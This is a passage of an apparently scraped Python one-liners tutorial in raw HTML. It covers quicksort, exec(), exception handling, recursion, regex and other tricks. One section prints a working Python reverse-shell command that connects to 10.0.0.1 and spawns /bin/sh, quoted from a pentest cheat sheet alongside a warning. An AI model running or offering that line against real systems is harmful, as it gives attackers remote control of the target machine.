blog article:<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-quine\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Quine\">Python One-Line Quines<\/a><\/p>\n<h2>Python One Line Quicksort<\/h2>\n<p>In this one-liner tutorial, you\u2019ll learn about the popular sorting algorithm <a href=\"https:\/\/en.wikipedia.org\/wiki\/Quicksort\">Quicksort<\/a>. Surprisingly, a single line of Python code is all you need to write the Quicksort algorithm!<\/p>\n<p><strong>Problem<\/strong>: Given a list of numerical values (integer or float). Sort the list in a single line of Python code using the popular <a href=\"https:\/\/blog.finxter.com\/python-one-line-quicksort\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Quicksort\">Quicksort <\/a>algorithm!<\/p>\n<p><strong>Example<\/strong>: You have list <code>[4, 2, 1, 42, 3]<\/code>. You want to sort the list in ascending order to obtain the new list <code>[1, 2, 3, 4, 42]<\/code>. <\/p>\n<p><strong>Short answer<\/strong>: The following one-liner solution sorts the list recursively using the Quicksort algorithm: <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">q = lambda l: q([x for x in l[1:] if x &lt;= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []<\/pre>\n<p>Now, let&#8217;s dive into some details!<\/p>\n<p>The following introduction is based on my new book <a href=\"https:\/\/www.amazon.com\/gp\/product\/B07ZY7XMX8\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.amazon.com\/gp\/product\/B07ZY7XMX8\"><strong>&#8220;Python One-Liners&#8221;<\/strong><\/a> <em>(Amazon Link)<\/em> that teaches you the power of the single line of code (use it wisely)!<\/p>\n<figure class=\"wp-block-image size-medium is-resized\"><a href=\"https:\/\/www.amazon.com\/gp\/product\/B07ZY7XMX8\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-1024x944.jpg\" alt=\"Python One-Liners\" class=\"wp-image-10007\" width=\"256\" height=\"236\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-300x277.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/06\/3D_cover-768x708.jpg 768w\" sizes=\"auto, (max-width: 256px) 100vw, 256px\" \/><\/a><\/figure>\n<p><strong>Introduction<\/strong>: <a href=\"https:\/\/blog.finxter.com\/the-quicksort-algorithm-in-one-line-python\/\" title=\"The Shortest Quicksort Implementation in Python\" target=\"_blank\" rel=\"noreferrer noopener\">Quicksort <\/a>is not only a popular question in many <a href=\"https:\/\/blog.finxter.com\/python-interview-questions\/\" title=\"They Use These 15+ Python Interview Questions To Fail You \u2026 (And What You Can Do About It)\" target=\"_blank\" rel=\"noreferrer noopener\">code interviews<\/a> \u2013 asked by Google, Facebook, and Amazon \u2013 but also a practical <a href=\"https:\/\/blog.finxter.com\/python-list-sort\/\" title=\"Python List sort() \u2013 The Ultimate Guide\" target=\"_blank\" rel=\"noreferrer noopener\">sorting <\/a>algorithm that is fast, concise, and readable. Because of its beauty, you won\u2019t find many introduction to algorithm classes which don\u2019t discuss the Quicksort algorithm.<\/p>\n<p><strong>Overview<\/strong>: Quicksort sorts a list by <a href=\"https:\/\/blog.finxter.com\/recursion\/\" title=\"Recursion: A Helpful Guide in Python\" target=\"_blank\" rel=\"noreferrer noopener\">recursively <\/a>dividing the big problem (sorting the list) into smaller problems (sorting two smaller lists) and combining the solutions from the smaller problems in a way that it solves the big problem. In order to solve each smaller problem, the same strategy is used recursively: the smaller problems are divided into even smaller subproblems, solved separately, and combined. Because of this strategy, Quicksort belongs to the class of \u201cDivide and Conquer\u201d algorithms.<\/p>\n<p><strong>Algorithm<\/strong>: The main idea of Quicksort is to select a pivot element and then placing all elements that are larger or equal than the pivot element to the right and all elements that are smaller than the pivot element to the left. Now, you have divided the big problem of sorting the list into two smaller subproblems: sorting the right and the left partition of the list. What you do now is to repeat this procedure recursively until you obtain a list with zero elements. This list is already sorted, so the recursion terminates. <\/p>\n<p>The following Figure shows the Quicksort algorithm in action:<\/p>\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"604\" height=\"340\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2019\/06\/image-11.png\" alt=\"\" class=\"wp-image-3689\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2019\/06\/image-11.png 604w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2019\/06\/image-11-300x169.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2019\/06\/image-11-100x56.png 100w\" sizes=\"auto, (max-width: 604px) 100vw, 604px\" \/><\/figure>\n<p><strong>Figure<\/strong>: The Quicksort algorithm selects a pivot element, splits up the list into (i) an unsorted sublist with all elements that are smaller or equal than the pivot, and (ii) an unsorted sublist with all elements that are larger than the pivot. Next, the Quicksort algorithm is called recursively on the two unsorted sublists to sort them. As soon as the sublists contain maximally one element, they are sorted by definition \u2013 the recursion ends. At every recursion level, the three sublists (left, pivot, right) are concatenated before the resulting list is handed to the higher recursion level.<\/p>\n<p><em>You create a function <code>q<\/code> which implements the Quicksort algorithm in a single line of Python code \u2013 and thus sorts any argument given as a list of integers.<\/em><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">## The Data\nunsorted = [33, 2, 3, 45, 6, 54, 33] ## The One-Liner\nq = lambda l: q([x for x in l[1:] if x &lt;= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else [] ## The Result\nprint(q(unsorted))<\/pre>\n<p>What is the output of this code?<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">## The Result\nprint(q(unsorted))\n# [2, 3, 6, 33, 33, 45, 54]<\/pre>\n<h2>Python One Line With Statement<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/pythononelinewith-1024x576.jpg\" alt=\"Python One Line With Statement\" class=\"wp-image-11448\" width=\"768\" height=\"432\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/pythononelinewith-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/pythononelinewith-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/pythononelinewith-768x432.jpg 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/pythononelinewith-150x84.jpg 150w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n<\/div>\n<p><strong>Problem<\/strong>: Can you write the <code>with<\/code> statement in a single line of code?<\/p>\n<p><strong>Solution<\/strong>: Yes, you can write the <code>with<\/code> statement in a single line of code if the loop body consists only of one statement:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">with open('code.py') as code: print(code.read())<\/pre>\n<p>In general, you can write any indentation block (like <code><a href=\"https:\/\/blog.finxter.com\/if-then-else-in-one-line-python\/\" title=\"If-Then-Else in One Line Python [Video + Interactive Code Shell]\">if<\/a><\/code> statements, <code>with<\/code> environments, or <code><a href=\"https:\/\/blog.finxter.com\/python-one-line-while-loop-a-simple-tutorial\/\" title=\"Python One Line While Loop [A Simple Tutorial]\">while<\/a><\/code> loops) in a single line of code if the body consists of only one statement. <\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-with-statement\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line With Statement\">Python One Line With Statement<\/a><\/p>\n<h2>Python One Line Exception Handling<\/h2>\n<p><strong>Summary<\/strong>: You can accomplish one line exception handling with the <code>exec()<\/code> workaround by passing the one-linerized <code>try<\/code>\/<code>except<\/code> block as a string into the function like this: <code>exec('try:print(x)nexcept:print(\"Exception!\")')<\/code>. This general method works for all custom, even multi-line, try and except blocks. However, you should avoid this one-liner code due to the bad readability.<\/p>\n<p><em>Surprisingly, there has been a <a href=\"https:\/\/mail.python.org\/pipermail\/python-ideas\/2013-March\/019762.html\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/mail.python.org\/pipermail\/python-ideas\/2013-March\/019762.html\">discussion <\/a>about one-line exception handling on the official Python mailing list in 2013. However, since then, there has been no new &#8220;One-Line Exception Handling&#8221; feature in Python. So, we need to stick with the methods shown in this tutorial. But they will be fun&#8212;promised! <\/em><\/p>\n<p>Let&#8217;s dive into the problem:<\/p>\n<p><strong>Problem<\/strong>: How to write the try\/except block in a single line of Python code?<\/p>\n<p><strong>Example<\/strong>: Consider the following try\/except block. <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">try: print(x)\nexcept: print('Exception!')<\/pre>\n<p><strong>Solution<\/strong>: let&#8217;s have a quick overview in our interactive code shell:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Original\ntry: print(x)\nexcept: print('Exception!') # Method 1\nprint(x) if 'x' in dir() else print('Exception!') # Method 2\nexec('try:print(x)\\nexcept:print(\"Exception!\")') # Method 3\nfrom contextlib import suppress\nwith suppress(NameError): print(x)<\/pre>\n<p><strong>Related Article:<\/strong> <a href=\"https:\/\/blog.finxter.com\/python-one-line-exception-handling\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Exception Handling\">Read more about the one-line exception handling methods in my detailed blog tutorial.<\/a><\/p>\n<h2>Python One Line Execute<\/h2>\n<p><strong>Problem<\/strong>: Given a multi-line code script in Python. How to execute this multi-line script in a single line of Python code? How to do it from the command line?<\/p>\n<p><strong>Example<\/strong>: Say, you have the following for loop with a nested if statement in the for loop body. You want to run this in a single line from your command line?<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">x = 10\nfor i in range(5): if x%2 == 0: print(i) else: print(x) x = x - 1 '''\n0\n9\n2\n7\n4 '''<\/pre>\n<p>The code prints five numbers to the shell. It only prints the odd values of <code>x<\/code>. If <code>x<\/code> takes an even value, it prints the loop variable <code>i<\/code>. <\/p>\n<p>You can write any source code into a string and run the string using the built-in <code>exec()<\/code> function in Python. This is little known&#8212;yet, <a href=\"https:\/\/blog.finxter.com\/define-a-function-in-one-line\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"3 (Not So) Pythonic Ways to Define a Function in One Line [for Hackers]\">hackers <\/a>often use this to pack malicious code into a single line that&#8217;s seemingly harmless. <\/p>\n<p>If you have code that spans multiple lines, you can pack it into a single-line string by using the newline character <code>'n'<\/code> in your string:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Method 1\nexec('x = 10nfor i in range(5):n if x%2 ==0: print(i)n else: print(x)n x = x-1')\n<\/pre>\n<p>This one-liner code snippet is semantically equivalent to the above nested for loop that requires seven lines of code! The output is the same:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">'''\n0\n9\n2\n7\n4 '''<\/pre>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-execute-multiple-lines-in-a-single-line-python-from-command-line\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Execute Multiple Lines in a Single Line Python From Command-Line?\">How to Execute Multiple Lines in a Single Line Python From Command-Line?<\/a><\/p>\n<h2>Python One Line Reverse Shell<\/h2>\n<p>Here&#8217;s the definition of a Reverse Shell:<\/p>\n<p><em>A <strong>reverse shell<\/strong> is used by hackers to gain access to a target machine. The target machine opens a shell to communicate to the attacking machine. The attacking machine receives the connection (listening on a given port) and is now able to access the target computer. To accomplish a reverse shell, a hacker must execute code on a target machine. Reverse shells are also used by security engineers to test and prevent reverse shell attacks.<\/em><\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/reverseshell-1024x576.jpg\" alt=\"\" class=\"wp-image-11543\" width=\"768\" height=\"432\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/reverseshell-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/reverseshell-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/reverseshell-768x432.jpg 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/reverseshell-150x84.jpg 150w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n<\/div>\n<p>I found this code in a <a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">blog <\/a>thread. You can run it from any computer with Python installed and visible from your current location:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"\/bin\/sh\",\"-i\"]);'<\/pre>\n<p>But you should never execute code that&#8217;s copy&amp;pasted from an Internet source. What if the code removes all files from your computer?<\/p>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-line-reverse-shell\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Reverse Shell\">You can read the whole article about reverse shell attacks and Trojan horses in Python here. <\/a><\/p>\n<h2>Python One Line Read File<\/h2>\n<p>Say your file is stored in file <code>'code.py'<\/code>. Now, you can open the file, read all lines, get rid of leading and trailing whitespace characters, and store the result in a Python list in a single line of code. Here&#8217;s the code:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print([line.strip() for line in open(\"code.py\")])<\/pre>\n<p>Python is beautiful! <img decoding=\"async\" src=\"https:\/\/s.w.org\/images\/core\/emoji\/13.0.0\/72x72\/1f60d.png\" alt=\"\ud83d\ude0d\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/><\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/how-to-read-all-lines-of-a-file-in-a-python-one-liner\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"How to Read All Lines of a File in a Python One-Liner?\">One-Liner to Read a File in Python<\/a><\/p>\n<h2>Python One Line Return If<\/h2>\n<p><strong>Problem<\/strong>: How to return from a Python function or method in single line?<\/p>\n<p><strong>Example<\/strong>: Consider the following &#8220;goal&#8221; statement: <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">def f(x): return None if x == 0<\/pre>\n<p>However, this leads to a Syntax error:<\/p>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"724\" height=\"287\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-34.png\" alt=\"\" class=\"wp-image-11577\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-34.png 724w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-34-300x119.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-34-150x59.png 150w\" sizes=\"auto, (max-width: 724px) 100vw, 724px\" \/><\/figure>\n<p>Here&#8217;s how to write the return statement with an if expression in a single line of Python code:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">def f(x): if x==0: return None\n<\/pre>\n<p>I should note that <a href=\"https:\/\/www.python.org\/dev\/peps\/pep-0008\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.python.org\/dev\/peps\/pep-0008\/\">PEP 8<\/a> is actually fine with writing if block statements into a single line. Nevertheless, the default return value of a function is <code>None<\/code> so the code does really nothing.<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-return-if\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Return if\">Python One Line Return if<\/a><\/p>\n<h2>Python One Line Recursion<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\"><strong>Two ways of writing a recursive one-liner:<\/strong> (1) write the function with return statement in a single line such as in <code>def f(x): return f(x+1)<\/code>, or (2) assign a lambda function to a variable name and use the variable name in the return expression of the lambda function such as in <code>f = lambda x: f(x)<\/code>. To define a recursion base case, you can use the ternary operator <code>x if c else y<\/code> to return <code>x<\/code> if condition <code>c<\/code> is met, else <code>y<\/code>. <\/p>\n<p>Let&#8217;s dive into the problem and several detailed examples!<\/p>\n<p><strong>Problem<\/strong>: How to write a recursive function in a single line of code?<\/p>\n<p>You may find this challenging because you need to define the function name, the base case, and the recursive function call&#8212;all in a <a href=\"https:\/\/blog.finxter.com\/python-one-line-x\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line X\">single line of Python code<\/a>! <\/p>\n<p><strong>Related Article<\/strong>: To refresh your general recursion skills, <a href=\"https:\/\/blog.finxter.com\/recursion\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Recursion: A Helpful Guide in Python\">check out my detailed blog article<\/a> (including video). <\/p>\n<p>Here&#8217;s an overview of the different algorithms, we one-linerized recursively! <img decoding=\"async\" src=\"https:\/\/s.w.org\/images\/core\/emoji\/13.0.0\/72x72\/1f609.png\" alt=\"\ud83d\ude09\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"> # Method 1: Recursive Fibonacci\ndef fib(n): return 1 if n in {0, 1} else fib(n-1) + fib(n-2)\nprint(fib(10))\n# 89 # Method 2: Recursive Factorial\ndef fac(x): return 1 if x&lt;=1 else x * fac(x-1)\nprint(fac(10))\n# 3628800 # Method 3: Recursive Factorial with Lambda\nfac = lambda n: 1 if n&lt;=1 else n * fac(n-1)\nprint(fac(10))\n# 3628800 # Method 4: Recursive Quicksort\nunsorted = [33, 2, 3, 45, 6, 54, 33]\nq = lambda l: q([x for x in l[1:] if x &lt;= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []\nprint(q(unsorted))\n# [2, 3, 6, 33, 33, 45, 54]\n<\/pre>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-line-recursion\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Recursion\">Let&#8217;s dive into each of those methods in this blog article!<\/a><\/p>\n<h2>Python One Line Regex<\/h2>\n<p class=\"has-pale-cyan-blue-background-color has-background\"><strong>Summary<\/strong>: To match a <code>pattern<\/code> in a given <code>text<\/code> using only a single line of Python code, use the one-liner <code>import re; print(re.findall(pattern, text))<\/code> that imports the regular expression library re and prints the result of the <code>findall()<\/code> function to the shell.<\/p>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"576\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/img-1024x576.jpg\" alt=\"Python One Line Regex Match\" class=\"wp-image-11755\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/img-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/img-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/img-768x432.jpg 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/08\/img-150x84.jpg 150w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<p>The <strong>re.findall(pattern, string, flags=0)<\/strong> method returns a list of string matches. Read more in <a href=\"https:\/\/blog.finxter.com\/python-re-findall\/\">our blog tutorial<\/a>.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Method 1: findall()\nimport re; print(re.findall('F.*r', 'Learn Python with Finxter'))\n# ['Finxter']<\/pre>\n<p>There&#8217;s no better way of importing the <code><a href=\"https:\/\/blog.finxter.com\/python-regex\/\" title=\"Python Regex Superpower [Full Tutorial]\">re<\/a><\/code> library and calling the <code>re.findall()<\/code> function in a single line of code&#8212;you must use the semicolon <code>A;B<\/code> to separate the statements <code>A<\/code> and <code>B<\/code>. <\/p>\n<p>The <code>findall()<\/code> function finds all occurrences of the pattern in the string. <\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-regex-match\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Regex Match\">Python One Line Regex Match<\/a><\/p>\n<h2>Python One Line Replace<\/h2>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"[Python One-Liner] How to Replace a String in a File From Your Terminal?\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/A7SDnW7G2xY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p><strong>Problem<\/strong>: You use Python in a terminal and you want to replace a string <code>'example'<\/code> in a text file <code>file.txt<\/code>:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">xxxxx example xxxxx<\/pre>\n<p>Your goal is to accomplish the following text:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">xxxxx replaced_example xxxxx<\/pre>\n<p>In particular, you want to open the file, replace the text, and rewrite the result into the file&#8212;all in a single line of Python code!<\/p>\n<p><strong><em>Can a <a href=\"https:\/\/blog.finxter.com\/python-one-line-x\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line X\">Python one-liner<\/a> accomplish this?<\/em><\/strong><\/p>\n<p><strong>Solution<\/strong>: Replace all occurrences of <code>\"example\"<\/code> with <code>\"replaced_example\"<\/code> and print the result to the standard input:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python -c \"print(open('file.txt').read().replace('example','replaced_example'))\"<\/pre>\n<p>The replace method replaces all occurrences of the first argument with the second argument. It returns the new string. You can now print the result to the stdin or write it back to a file.<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-replace\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Replace\">Python One Line Replace<\/a><\/p>\n<h2>Python One Line Ternary<\/h2>\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\">\n<div class=\"wp-block-embed__wrapper\">\n<div class=\"ast-oembed-container\"><iframe loading=\"lazy\" title=\"The Python Ternary Operator -- And a Surprising One-Liner Hack\" width=\"1400\" height=\"788\" src=\"https:\/\/www.youtube.com\/embed\/9XXcUHXrqZ4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/div>\n<\/div>\n<\/figure>\n<p><strong>Ternary<\/strong> (from Latin <em>ternarius<\/em>) is an adjective meaning <em>&#8220;composed of three items&#8221;<\/em>. (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Ternary\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/en.wikipedia.org\/wiki\/Ternary\">source<\/a>) So, literally, the <a href=\"https:\/\/blog.finxter.com\/python-one-line-ternary\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line Ternary\">ternary operator in Python<\/a> is composed of three operands.<\/p>\n<p><strong>Syntax<\/strong>: The three operands are written in an intuitive combination <code>... if ... else ...<\/code>.<\/p>\n<pre class=\"wp-block-preformatted\">&lt;On True&gt; if &lt;Condition&gt; else &lt;On False&gt;<\/pre>\n<figure class=\"wp-block-table is-style-stripes\">\n<table>\n<thead>\n<tr>\n<th>Operand<\/th>\n<th>Description<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>&lt;On True&gt;<\/td>\n<td>The return expression of the operator in case the condition evaluates to <code>True<\/code><\/td>\n<\/tr>\n<tr>\n<td>&lt;Condition&gt;<\/td>\n<td>The condition that determines whether to return the &lt;On True&gt; or the &lt;On False&gt; branch.<\/td>\n<\/tr>\n<tr>\n<td>&lt;On False&gt;<\/td>\n<td>The return expression of the operator in case the condition evaluates to <code>False<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption><em>Operands of the Ternary Operator<\/em><\/figcaption><\/figure>\n<p>Let&#8217;s have a look at a minimum example in our interactive code shell:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/trinket.io\/embed\/python\/42f3df6ddd\" marginwidth=\"0\" marginheight=\"0\" allowfullscreen=\"\" width=\"100%\" height=\"356\" frameborder=\"0\"><\/iframe> <\/p>\n<p><em><strong>Exercise<\/strong>: Run the code and input your age. What&#8217;s the output? Run the code again and try to change the output!<\/em><\/p>\n<h2>Python One Line Two For Loops (Double)<\/h2>\n<p><strong>Problem<\/strong>: How to write a nested <code>for<\/code> loop as a <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pythononeliners.com\/\">Python one-liner<\/a>? Roughly speaking, you want to iterate over two or more iterables that are nested into each other. Here&#8217;s an example of a multi-liner with two nested loops:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">iter1 = [1, 2, 3, 4]\niter2 = ['a', 'b', 'c'] for x in iter1: for y in iter2: print(x, y) '''\n1 a\n1 b\n1 c\n2 a\n2 b\n2 c\n3 a\n3 b\n3 c\n4 a\n4 b\n4 c '''<\/pre>\n<p>Here&#8217;s a quick overview:<\/p>\n<p> <iframe loading=\"lazy\" src=\"https:\/\/repl.it\/@finxter\/FrillyYellowishDifference?lite=true\" scrolling=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" sandbox=\"allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals\" 